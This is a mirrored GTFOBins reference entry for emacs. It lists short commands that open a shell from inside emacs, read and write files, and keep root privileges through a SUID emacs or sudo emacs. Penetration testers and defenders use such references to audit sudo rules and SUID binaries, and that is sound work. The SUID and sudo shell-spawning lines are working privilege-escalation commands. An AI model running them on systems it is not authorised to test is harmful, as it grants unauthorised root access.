mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
16 lines
353 B
Markdown
16 lines
353 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: emacs -Q -nw --eval '(term "/bin/sh")'
|
|
file-write:
|
|
- code: |
|
|
emacs file_to_write
|
|
C-x C-s
|
|
file-read:
|
|
- code: emacs file_to_read
|
|
suid-enabled:
|
|
- code: ./emacs -Q -nw --eval '(term "/bin/sh -p")'
|
|
sudo-enabled:
|
|
- code: sudo emacs -Q -nw --eval '(term "/bin/sh")'
|
|
---
|